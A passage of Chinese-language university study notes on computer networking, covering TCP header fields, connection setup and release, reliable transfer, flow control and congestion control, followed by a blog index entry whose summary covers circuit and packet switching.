字节。检验和字段检验的范围包括首部和数据这两部分。在计算检验和时，要在 TCP 报文段的前面加上 12 字节的伪首部。 紧急指针字段 占 16 位，指出在本报文段中紧急数据共有多少个字节（紧急数据放在本报文段数据的最前面）。 选项字段 长度可变。 TCP 最初只规定了一种选项，即 最大报文段长度 MSS 。 MSS 告诉对方 TCP ：“我的缓存所能接收的报文段的数据字段的最大长度是 MSS 个字节。” 填充字段 这是为了使整个首部长度是 4 字节的整数倍。 TCP 的运输连接管理 TCP 是面向连接的协议\n运输连接有三个阶段：\n连接建立 数据传送 连接释放 运输连接有三个问题\n每一方要能够确知对方存在 允许协商参数 能够对运输实体资源进行分配 采用方式：客户-服务器方式\n运输连接的管理就是使运输连接的建立和释放都能正常地进行\nTCP连接的建立 三报文握手\n客户：同步 SYN=1，seq=x 服务器：SYN=1，ACK=1，seq=y，ack=x+1 客户：ACK=1，seq=x+1，ack=y+1 作用：防止已经失效的连接请求报文突然又传送到了\nTCP 的连接释放 四报文握手\n客户：FIN=1，seq=u 服务器：ACK=1，seq=v，ack=u+1 服务器单向数据传送\n服务器：FIN=1，ACK=1，seq=w，ack=u+1 客户：ACK=1，seq=u+1，ack=w+1 TCP连接必须经过两倍**最长报文段寿命（MSL）**后才真正释放\n为了保证A的ACK报文到达B，并防止已失效的连接请求已经消失\nTCP 可靠传输的实现 TCP 在不可靠的 IP 服务上建立可靠的数据传输\n接收方\n累计确认，仅在正确按序收到报文段后，跟新确认序号；其余情况，重复前一次的确认序号 失序报文处理：缓存失序的报文段 发送方\n发送策略：流水线 定时器：仅对最早那个未确认报文段使用重传计时器 重发策略：仅在超时后重发最早未确认的报文段 以字节为单位的滑动窗口 步骤 发送缓存与接收缓存的作用 发送缓存用来暂时存放：\n发送应用程序传送给发送方 TCP 准备发送的数据； TCP 已发送出但尚未收到确认的数据。 接收缓存用来暂时存放：\n按序到达的、但尚未被接收应用程序读取的数据； 不按序到达的数据。 超时重传时间的选择 不考\n选择确认 SACK 不考\n快速重传？\n总结 GBN、SR、TCP 的区别 GBN：回退 N (go back N),如果某个报文段没有被正确的接收，那么从这个报文段到后面的报文段都要重新发送，返回的ACK采用剋及确认的机制，也就是说如果GBN返回的ACK=3，也就是说3报文段和3 之前的报文段都被正确地接收了\nSR：接收方设置缓冲区，为每个报文段设置计时器，如果某个报文段没有被正确接收但是后面的报文段被正确接收了，那么就只需要重发这一个报文段，在接收方整理排序之后就?了，返回的ACK就是当前接收成功的报文段序号\nTCP：和 SR 类似，但是 TCP 有快速重传机制，不需要等待某个报文段的计时器超时才能重传，返回的ACK编号是期待接收到的下一个报文的序号\nTCP 的流量控制 利用滑动窗口实现流量控制 接收方通过控制窗口大小来间接地控制发送速率\n流量控制（flow control）就是让发送方的发送速率不要太快，既要让接收方来得及接收，也不要使网络发生拥塞\n利用滑动窗口机制可以很方便地在 TCP 连接上实现流量控制。\n接收方动态地调整自己的窗口大小，通过 rwnd 字段通知发送方。\n举例 死锁 了解\nB 向 A 发送了零窗口的报文段后不久， B 的接收缓存又有了一些存储空间 。于是 B 向 A 发送了 rwnd = 400 的 报文段 。\n但这个报文段在传送过程中丢失了，A 一直等待收到 B 发送 的非零窗口的通知， 而 B 也一直等待 A 发送的数据\n如果没有其他措施，这种互相等待的死锁局面将一直延续下去 。\n为了解决这个问题， TCP 为每一个连接设有一个持续计时器（persistence）\nTCP 的拥塞控制 拥塞控制的一般原理 在某段时间，若对网络中某资源的需求超过了该资源所能提供的可用部分，网络的性能就要变坏。这种现象称为拥塞（congestion) 。\n若网络中有许多资源同时产生拥塞，网络的性能就要明显变坏，整个网络的吞吐量将随输入负荷的增大而下降 。\n出现拥塞的原因：∑ 对资源需求 \u0026gt; 可用资源\n拥塞常常趋于恶化，并使网络性能变坏。\n拥塞控制设计全部主机路由器，而流量控制只关注某一条链路\n拥塞控制的常用方法\n网络辅助的拥塞控制 路由器 端到端拥塞控制 TCP 采用的方式，端系统自行推断拥塞的产生 TCP 的拥塞控制方法 发送方如何感知拥塞 拥塞造成丢包和分组延迟增大，发送方丢过丢包时间来判断拥塞\n重传定时器超时 收到三个相同（重复）的 ACK 发送方采用什么机制限制发送速率？ 发送方维持一个拥塞窗口 cwnd 来限制发送窗口，从而间接控制发送速度\n拥塞窗口动态变化，取决于网络的拥塞程度\n调节策略：AIMD 拥塞避免 乘法减小 发送包检测到丢包后，cwnd 大小减半 加法增大 若无丢包，每经过一个 RTT，将 cwnd 增大一个 MSS，直到检测到丢包 慢开始/慢启动 在新建连接上指数增大 cwnd，直到检测到丢包\n设置慢开始门限状态变量 ssthresh 当 cwnd \u0026lt; ssthresh 时，使用慢开始算法。\n当 cwnd \u0026gt; ssthresh 时，停止使用慢开始算法而改用拥塞避免算法。\n当 cwnd = ssthresh 时，既可使用慢开始算法，也可使用拥塞避免算法\n当遇到丢包时，ssthresh 变为当前 cwnd 的一半\n区分不同的丢包事件 超时：网络交付能力差\ncwnd 直接降到初始值，然后指数增大 收到重复三个 ACK：网络仍有一定交付能力\ncwnd 减半，然后加法增大，是为快重传、快恢复 ","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/%E7%BD%91%E7%BB%9C%E4%B8%8E%E5%AE%89%E5%85%A8/note-network/","summary":"概述 互联网：专有名词\n互连网：通用网络\n互联网的组成 边缘部分 由所有连接在互联网上的主机组成。这部分是用户直接使用的，用来进行通信（传送数据、音频或视频）和资源共享。\n端系统之间的两种通信方式 客户-服务器方式（C/S）\n客户是服务的请求方，服务器是服务的提供方\n客户软件的特点 被用户调用后运行，在打算通信时主动向远地服务器发起通信（请求服务）。因此，客户程序必须知道服务器程序的地址 不需要特殊的硬件和很复杂的操作系统 服务器软件的特点 一种专门用来提供某种服务的程序，可同时处理多个远地或本地客户的请求 系统启动后即自动调用并一直不断地运行着，被动地等待并接受来自各地的客户的通信请求。因此，服务器程序不需要知道客户程序的地址 一般需要强大的硬件和高级的操作系统支持 对等方式（P2P）\n不区分客户和服务器。\n核心部分 由大量网络和连接这些网络的路由器组成。这部分是为边缘部分提供服务的（提供连通性和交换）\n在网络核心部分起特殊作用的是路由器 (router)。 at Shanghai University\n路由器是实现分组交换 (packet switching) 的关键构件，其任务是转发收到的分组，这是网络核心部分最重要的功能。\n分组交换是网络核心部分最重要的功能\n电路交换 $$N$$ 部电话机两两直接相连，需 $$N(N – 1)/2$$ 对电线。这种直接连接方法所需要的电线对的数量与电话机数量的平方（ $$N^2$$ ）成正比。\n当电话机的数量增多时，就要使用交换机来完成全网的分组任务，这就是电路交换\n特点 电路交换必定是面向连接的 电路交换分为三个阶段： 建立连接：建立一条专用的物理通路，以保证双方通话时所需的通信资源在通信时不会被其他用户占用； 通话：主叫和被叫双方一直占用通信资源； 释放连接：释放刚才使用的这条专用的物理通路（释放刚才占用的所有通信资源） 总结 电路交换用于电话通信系统，两个用户要通信之前需要建立一条专用的物理链路，并且在整个通信过程中始终占用该链路。由于通信的过程中不可能一直在使用传输线路，因此电路交换对线路的利用率很低，往往不到 10%\n分组交换 分组交换采用存储转发技术\n步骤 在发送端，先把较长的报文划分成较短的、固定长度的数据段 每一个数据段前面添加上首部构成分组 (packet) 分组交换网以“分组”（也称为“包”，首部也可称为“包头”）作为数据传输单元，依次把各分组发送到接收端（假定接收端在左边） 接收端收到分组后剥去首部还原成报文 最后，在接收端把收到的数据恢复成为原来的报文。 首部的重要性 每一个分组的首部都含有地址（诸如目的地址和源地址）等控制信息。 分组交换网中的结点交换机根据收到的分组首部中的地址信息，把分组转发到下一个结点交换机。 每个分组在互联网中独立地选择传输路径。（通过路由器） 用这样的存储转发方式，最后分组就能到达最终目的地。 路由器的作用 在路由器中的输入和输出端口之间没有直接连线。 路由器处理分组的过程是： 把收到的分组先放入缓存（暂时存储）； 查找转发表，找出到某个目的地址应从哪个端口转发； 把分组送到适当的端口转发出去。 优点 高效：在分组传输的过程中动态分配传输带宽，对通信链路是逐段占用 灵活：为每一个分组独立地选择最合适的转发路由 迅速：以分组作为传送单位，可以不先建立连接就能向其他主机发送分组。 可靠：保证可靠性的网络协议；分布式多路由的分组交换网，使网络有很好的生存性 缺点 分组在各结点存储转发时需要排队，这就会造成一定的时延。 分组必须携带的首部（里面有必不可少的控制信息）也造成了一定的开销 总结 每个分组都有首部和尾部，包含了源地址和目的地址等控制信息，在同一个传输线路上同时传输多个分组互相不会影响，因此在同一条传输线路上允许同时传输多个分组，也就是说分组交换不需要占用传输线路。","title":"学长的计算机网络笔记"}]